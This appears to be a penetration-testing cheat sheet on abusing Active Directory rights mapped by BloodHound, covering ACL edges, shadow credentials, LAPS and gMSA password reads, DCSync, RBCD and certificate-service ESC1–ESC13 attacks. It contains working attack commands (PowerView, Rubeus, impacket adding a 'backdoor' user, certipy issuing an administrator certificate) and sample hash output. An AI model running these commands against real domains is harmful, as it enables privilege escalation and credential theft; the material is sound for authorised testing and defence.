31 min readCreated Jun 9, 2026Last updated Aug 11, 2026
BloodHound nodes: users, computers, groups, OUs, GPOs, Certificate Authorities. Edges are directed. The arrow points from the node that has the right to the target. Mark compromised accounts as Owned (right-click → Mark as Owned), then use Shortest Paths to Domain Admins from Owned Principals to see your attack path.
BloodHound CE (v5+) adds edges not in legacy: AddKeyCredentialLink, WriteAccountRestrictions, ADCSESC1-ADCSESC13. If a CE-specific edge is missing, you may be on legacy BloodHound.
Object Control Edges
GenericAll
Full control over the target object. Strongest edge, unlocks every abuse technique for that object type.
User: force password change, set SPN (targeted Kerberoasting), shadow credentials, disable pre-auth
Group: add yourself as a member
Computer: configure RBCD via add rbcd
GPO: add scheduled task running as SYSTEM on every linked computer. See GPO Abuse
PSC:\Users\Guest\Desktop># Grant yourself full control
PSC:\Users\Guest\Desktop>Add-DomainObjectAcl-TargetIdentity"$TARGET_OBJECT"-PrincipalIdentity$USER-Rights All -Verbose
WriteDACL
Write to the DACL of the target. On a domain object: grant DCSync rights. On a group: grant AddMember. On a user: grant ForceChangePassword.
AllExtendedRights on a user includes User-Force-Change-Password. On a domain object it covers both replication rights, equivalent to the DCSync edge. Abuse path is the same as WriteDACL on domain below.
AddMember: add any user. AddSelf: add only yourself. New group membership requires a fresh Kerberos ticket. Request a new TGT or re-authenticate after adding.
Write to msDS-KeyCredentialLink on the target. Adds a certificate-based credential without changing the password (stealthier than ForceChangePassword). Requires PKINIT on the DC (Windows Server 2016+). Works on users and computers.
WriteAccountRestrictions is a CE-specific edge controlling msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object. Direct RBCD path, same as GenericWrite on computer, use add rbcd or the PowerView SD method above.
[*] Action: Shadow Credentials
[*] Adding shadow credentials for: svc-backup
[*] Use the following Rubeus command:
.\Rubeus.exe asktgt /user:svc-backup /certificate:MIIK... /password:Whisker123 /domain:corp.local /dc:10.10.10.10 /getcredentials /show /nowrap
ReadLAPSPassword The source principal can read ms-Mcs-AdmPwd on the target computer. LAPS stores the auto-rotated local administrator password in plaintext in this attribute. The local admin account is Administrator by default; newer Windows LAPS uses msLAPS-Password instead. Use the recovered password to authenticate as local admin on the target.
ReadGMSAPassword The source principal can read msds-ManagedPassword on the gMSA. The blob decodes to the current NT hash. Use the NT hash for Pass-the-Hash to any service the gMSA authenticates to, or to services that accept NTLM from the gMSA account.
The source principal owns the target AD object. Owners can modify the object's DACL without needing an existing ACE, which effectively grants full control. Abuse by granting yourself GenericAll on the target, then follow any GenericAll path (ForceChangePassword, Shadow Credentials, Kerberoast, etc.).
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# Grant yourself GenericAll as the object owner
The source principal has write access to the LAPS password attribute on a computer object (ms-Mcs-AdmPwd for legacy LAPS, msLAPS-Password for Windows LAPS). Set the attribute to a known value, then authenticate as the local Administrator on that machine.
BloodHound CE surfaces this as a distinct edge from ReadLAPSPassword.
The source account has a high-privilege SID (e.g., Domain Admins or Enterprise Admins from another domain) stored in its sIDHistory attribute. Windows includes SID history entries in the Kerberos PAC automatically: the account is treated as a member of those groups during access checks without requiring explicit group membership.
No additional exploitation step is needed. Authenticate normally and the inherited privileges apply. Common in migration scenarios or after a trust domain takeover.
PSC:\Users\Guest\Desktop># No further steps: auth normally to inherit privileges
Session and Access Edges
HasSession
A user has an active session on the target computer at collection time. Their credentials may be in LSASS. HasSession is a pivot indicator, not a direct access edge. You need a separate access edge (AdminTo, CanRDP, CanPSRemote) to reach that computer first.
└─$impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP'cmd.exe /c net user backdoor Password123! /add'
SQLAdmin
The source principal has sysadmin or sa access to the target Microsoft SQL Server instance discovered by BloodHound. Use it to execute OS commands via xp_cmdshell, read files, or pivot to other services running under the SQL service account.
DCSync / GetChanges + GetChangesAll / AllExtendedRights on Domain
Impersonate a DC to pull all password hashes. DCSync edge means both replication rights are already granted. First grant rights if missing (WriteDACL → add dcsync), then dump.
You have write access on msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer (GenericAll / GenericWrite / WriteAccountRestrictions). Need a computer account you control. Create one with impacket-addcomputer or New-MachineAccount if the machine account quota allows (default: 10 per domain user).
BloodHound CE maps Active Directory Certificate Services misconfigurations as distinct edges. Legacy BloodHound does not include these paths. Each ESC number corresponds to a class of misconfiguration first documented by SpecterOps in Certified Pre-Owned (2021). Use certipy find -vulnerable to enumerate all of these in one pass.
ADCSESC2: template has Any Purpose EKU or no EKU (SubCA), effectively same abuse as ESC1
ADCSESC3: template has Certificate Request Agent EKU, enabling on-behalf-of enrollment for any user
ADCSESC4: write access on certificate template object, modify to enable SAN then ESC1
ADCSESC5: write control over a CA or PKI object in AD, enable vulnerable templates or modify CA settings
ADCSESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, any template request may include attacker-specified SAN
ADCSESC7: ManageCA or Manage Certificates right on the CA, issue/approve pending requests or enable vulnerable templates
ADCSESC8: NTLM relay to AD CS HTTP endpoint (/certsrv/), relay machine auth to obtain a certificate
ADCSESC9a/b: GenericWrite on account with weak certificate mapping, change UPN/dNSHostName to enroll as another principal
ADCSESC10a/b: DC has StrongCertificateBindingEnforcement=0 or compatibility mode; change UPN or dNSHostName to impersonate any principal
ADCSESC11: NTLM relay to MS-ICPR (RPC enrollment), CA does not enforce encryption on certificate requests
ADCSESC13: certificate template's IssuancePolicies OID is linked to an AD group; enrolling grants membership in that group
All ESC attacks end with certipy auth -pfx cert.pfx -dc-ip $DC_IP to obtain a TGT via PKINIT, then use impacket or nxc with the TGT.
ESC1: Certificate template allows the enrollee to specify a Subject Alternative Name (SAN) and has the Client Authentication EKU enabled. Low-privileged users can enroll. Request a cert with SAN set to any user (e.g., Administrator) and authenticate as that user via PKINIT.
[*] Using principal: administrator@corp.local
[*] Saved credential cache to 'administrator.ccache'
[*] NT Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
ESC2: Template has the Any Purpose EKU or no EKU at all (SubCA). Effectively the same abuse path as ESC1: request a cert with an attacker-controlled SAN. SubCA templates may require issuing a pending request via ManageCA rights (see ESC7).
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC2: template has Any Purpose EKU or no EKU (SubCA)
ESC3: Two-template chain: one template has the Certificate Request Agent EKU, another allows enrollment-agent enrollment. Step 1: get an enrollment agent cert. Step 2: use it to enroll on behalf of any user, including Domain Admins.
ESC4: You have write access on the certificate template AD object. Modify the template to add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and the Client Auth EKU, then follow the ESC1 abuse path. Restore the template afterwards to reduce noise.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC4: write on template object → add SAN flag, then ESC1
ESC5: Write control over a CA or PKI object in AD (Enrollment Services container, NTAuthCertificates, etc.). Enable a vulnerable template on the CA or modify CA properties to allow attacker-controlled SAN, then chain to ESC1 or ESC7.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC5: write control over CA or PKI object in AD
ESC6: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. This flag allows the requester to specify a SAN in any template request, regardless of the template's own CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT setting. Request any enrollable template with -upn administrator@domain.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag
┌──(kali㉿kali)-[~]
└─$# Any enrollable template accepts attacker-specified SAN
ESC7: You have ManageCA or Manage Certificates rights on the CA. With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2 or enable the SubCA template. With both rights: request a SubCA cert (denied), then approve and retrieve it yourself. This yields a cert for any UPN without needing a vulnerable template.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC7: ManageCA or Manage Certificates right on the CA
┌──(kali㉿kali)-[~]
└─$# Add yourself as CA officer (requires ManageCA)
┌──(kali㉿kali)-[~]
└─$certipy ca -ca '$CA' -add-officer $USER \
└─$ -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$# Enable SubCA template
┌──(kali㉿kali)-[~]
└─$certipy ca -ca '$CA' -enable-template SubCA \
└─$ -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
┌──(kali㉿kali)-[~]
└─$# Request SubCA cert (will fail: note the request ID)
┌──(kali㉿kali)-[~]
└─$certipy req -u $USER@$DOMAIN -p $PASSWORD \
└─$ -ca '$CA' -template SubCA \
└─$ -upn 'administrator@$DOMAIN' -target $DC_IP
┌──(kali㉿kali)-[~]
└─$# Issue the failed request (officer / ManageCertificates right)
ESC8: NTLM relay to the AD CS HTTP enrollment endpoint (/certsrv/). Coerce a Domain Controller machine account to authenticate to your relay, which forwards the authentication to the CA and obtains a certificate for the DC account. Use that cert to get the DC's TGT and DCSync.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC8: NTLM relay to AD CS HTTP enrollment endpoint
ESC9: The target certificate template has CT_FLAG_NO_SECURITY_EXTENSION set and the DC uses weak certificate mapping. Combined with GenericWrite on a user, change the victim's UPN to match a high-privilege account, request a cert as the victim, restore the UPN, then authenticate as the high-privilege account using the cert.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC9: GenericWrite on account, template has no szOID_NTDS_CA_SECURITY_EXT
ESC10: The DC has StrongCertificateBindingEnforcement set to 0 or 1 (compatibility mode). ESC10a: modify a user's UPN via GenericWrite, request cert, authenticate as the target UPN. ESC10b: modify a computer's dNSHostName to match a DC FQDN, request a Machine template cert, authenticate as the DC.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC10: DC has StrongCertificateBindingEnforcement disabled or in compatibility mode
┌──(kali㉿kali)-[~]
└─$# ESC10a: GenericWrite on user → change UPN (same as ESC9 but DC-side weakness)
ESC11: NTLM relay to the MS-ICPR (RPC-based) enrollment endpoint. The CA has IF_ENFORCEENCRYPTICERTREQUEST not set, allowing unauthenticated relay over RPC. Coerce DC machine authentication, relay to the CA RPC port, receive a certificate for the DC account. Same post-exploitation as ESC8.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC11: relay to MS-ICPR (RPC enrollment): CA lacks IF_ENFORCEENCRYPTICERTREQUEST
┌──(kali㉿kali)-[~]
└─$# Different from ESC8 which targets HTTP; this targets port 135/RPC dynamic
ESC13: A certificate template's IssuancePolicies OID is linked to an AD group. Enrolling in this template and authenticating with the resulting certificate grants effective membership of that group via the Kerberos PAC, without being a formal group member in AD.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# ESC13: template IssuancePolicies OID is linked to an AD group
┌──(kali㉿kali)-[~]
└─$# Enrolling grants membership in that group via Kerberos PAC
PSC:\Users\Guest\Desktop># Confirm effective group membership
PSC:\Users\Guest\Desktop>whoami /groups
BloodHound CE: Cypher Queries
Run custom Cypher in BloodHound CE: top menu → Analysis → Custom Queries. Replace CORP.LOCAL with your domain in uppercase.
// Shortest path from all owned nodes to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// All shortest paths
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// Computers where DA users have active sessions
MATCH (c:Computer)<-[:HasSession]-(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN c.name, u.name
// All principals with DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n.name, labels(n), d.name
// Kerberoastable users with path to DA
MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// Computers without LAPS (CE property)
MATCH (c:Computer {haslaps:false}) RETURN c.name, c.operatingsystem
// Unconstrained delegation: non-DC computers
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH "DC" RETURN c.name
// All ADCS ESC paths visible in CE
MATCH p=()-[:ADCSESC1|ADCSESC4|ADCSESC8|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b]->() RETURN p
// All GenericAll edges: who controls what
MATCH p=(n)-[:GenericAll]->(o) RETURN n.name, labels(o), o.name ORDER BY n.name
We use cookies to improve your browsing experience, analyze site traffic, and personalize content. By clicking "Accept All", you consent to our use of cookies.
Privacy Policy.